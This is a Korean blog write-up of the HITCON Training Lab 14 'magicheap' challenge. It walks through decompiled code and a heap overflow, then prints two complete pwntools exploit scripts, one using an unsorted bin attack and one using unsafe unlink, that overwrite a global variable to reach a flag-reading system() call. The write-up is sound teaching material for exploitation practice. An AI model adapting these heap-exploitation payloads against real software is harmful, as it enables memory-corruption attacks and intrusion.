tmxklab
hitcon training [LAB 14] 본문
1. 문제
1) mitigation확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [rsp+0h] [rbp-10h]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
v3 = atoi(&buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 4869 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
-
v3가 4869이면서 magic값이 4869보다 크면은 l33t()가 실행됨
3-2) create_heap()
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
- heaparray[i]에 size만큼 malloc하고 입력 값을 받음
3-3) edit_heap()
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
-
size에 대한 입력 값을 다시 받아 size만큼 선택한 heaparray의 index에 입력 값을 저장
-
create_heap()에서 malloc(size)보다 더 큰 값을 입력받을 수 있음
3-4) delete_heap()
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
-
heaparray[v1]를 free시키고 heaparray[v1]에 널 값을 넣음
3-5) l33t()
int l33t()
{
return system("cat /home/magicheap/flag");
}
전역 변수)
-
magic : 0x6020c0
-
heaparray : 0x6020e0
2. 접근방법
1) 취약점이 발생하는 곳 - edit_heap()
creat_heap()을 통해 heaparray[i]에 size만큼 malloc요청을 하지만 eidt_heap()에서는 할당받은 chunk의 size를 검증하지 않고 다시 입력 값에 대한 size를 요청하여 입력 값을 채워 넣음
-
위 그림은 0x20만큼 할당을 받은 chunk에 edit_heap()을 호출하여 overflow가 발생한 상황이다.
2) Unsorted bin attack
-
unsorted bin에 등록된 chunk가 다시 재할당될 때 리스트에서 삭제하면서 발생
3) 공격 프로세스
3-1) 3개의 chunk 생성(이 때, 한 개는 unsorted bin에 들어갈 size의 chunk생성)
3-2) 1개의 chunk free → unsorted bin
-
Chunk B의 fd, bk에 각각 main_arena의 주소 값이 저장되고 unsorted bin에도 fd, bk에 Chunk B의 주소 값이 저장된다.
3-3) heap overflow
-
Chunk A에서 heap overflow를 일으켜 Chunk B의 Header값을 위와 같이 변경한다.
-
참고 :
-
unsorted_chunks(av) → bk : Chunk B addr
-
unsorted_chunks(av) : 0x7ffff7dd1b78
-
3-4) unsorted bin에 등록된 free chunk와 동일한 size의 chunk 재할당
① malloc요청 시 bins에서 사용 가능한 chunk를 찾지 못하고 unsorted bin에서 사용 가능한 chunk를 찾기 위해 unsorted_chunks(av) → bk와 unsorted_chunks(av)의 반환 값이 다른지 확인한다.
-
unsorted_chunks(av) : 0x7ffff7dd1b78
-
unsorted_chunks(av) → bk : Chunk b addr(victim)
-
bck = victim → bk (magic addr - 0x10)
-
반환 값이 서로 다르므로 사용가능한 free chunk가 있다는 것을 알 수 있다.
② unsorted bin에 있는 chunk를 재할당하기 위해 unsorted bin list에서 제거한다.
-
unsorted_chunks(av) → bk = bck
설명 : (0x7ffff7dd1b78 → bk) (0x7ffff7dd1b90) = (magic addr - 0x10)(bck)
-
bck → fd = unsorted_chunks(av)
설명 : (magic addr - 0x10 → fd) (magic addr) = 0x7ffff7dd1b78
결국, magic변수가 위치한 곳에 unsorted_chunks(av)의 주소 값 (0x7ffff7dd1b78)이 저장된다.
+) Unsafe Unlink를 이용한 문제 풀이
-
힙 영역을 전역변수에서 관리 → heaparray
-
heapoverflow가 가능하며 여러 개의 chunk를 만들 수 있음
-
참고 :
3. 풀이
1) Unsorted bin attack - 익스코드
from pwn import *
context.log_level="debug"
p = process("./magicheap")
e = ELF("./magicheap")
magic = e.symbols['magic']
#gdb.attach(p)
def create_heap(size, data):
p.sendlineafter(":", str(1))
p.sendafter(": ", str(size))
p.sendafter(":", data)
def edit_heap(idx, size, data):
p.sendlineafter(":", str(2))
p.sendafter(":", str(idx))
p.sendafter(": ", str(size))
p.sendafter(": ", data)
def del_heap(idx):
p.sendlineafter(":", str(3))
p.sendlineafter(":", str(idx))
# 1. Creation 3 chunk
create_heap(0x10, "AAAA")
create_heap(0x80, "BBBB")
create_heap(0x10, "CCCC")
# 2. free chunk(size : 0x80) -> unsorted bin
del_heap(1)
# 3. create fake chunk
payload = "A"*0x10
payload += p64(0)
payload += p64(0x91)
payload += p64(0)
payload += p64(magic-0x10)
edit_heap(0, len(payload), payload)
# 4. magic -> main_arena.bin[0] addr(>0x1305)
create_heap(0x80, "DDDD")
p.sendlineafter(":", str(4869))
p.interactive()
2) Unsafe Unlink - 익스코드
from pwn import *
context.log_level="debug"
p = process("./magicheap")
e = ELF("./magicheap")
magic = e.symbols['magic']
heaparray = e.symbols['heaparray']
#gdb.attach(p)
def create_heap(size, data):
p.sendlineafter(":", str(1))
p.sendafter(": ", str(size))
p.sendafter(":", data)
def edit_heap(idx, size, data):
p.sendlineafter(":", str(2))
p.sendafter(":", str(idx))
p.sendafter(": ", str(size))
p.sendafter(": ", data)
def del_heap(idx):
p.sendlineafter(":", str(3))
p.sendlineafter(":", str(idx))
# 1. Creation 2 chunk
create_heap(128, "A")
create_heap(128, "B")
# 2. Creation Fake Chunk & Modify Second Chunk Header
payload = p64(0x0) + p64(0x0)
payload += p64(heaparray-24) + p64(heaparray-16)
payload += "A"*0x60
payload += p64(0x80) + p64(0x90)
edit_heap(0, len(payload), payload)
# 3. Consolidation Fake Chunk & Write Gloval Variable
del_heap(1)
# 4. magic addr -> 4870
payload = "A"*24
payload += p64(magic)
edit_heap(0, len(payload), payload)
edit_heap(0, 10, str(4870))
p.sendlineafter(":", str(4869))
p.interactive()
3) 실행 결과
4. References
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 15] (0) | 2020.08.02 |
---|---|
hitcon training [LAB 13] (0) | 2020.07.28 |
hitcon training [LAB 12] (0) | 2020.07.27 |
hitcon training [LAB 11] (0) | 2020.07.25 |
hitcon training [LAB 10] (0) | 2020.07.21 |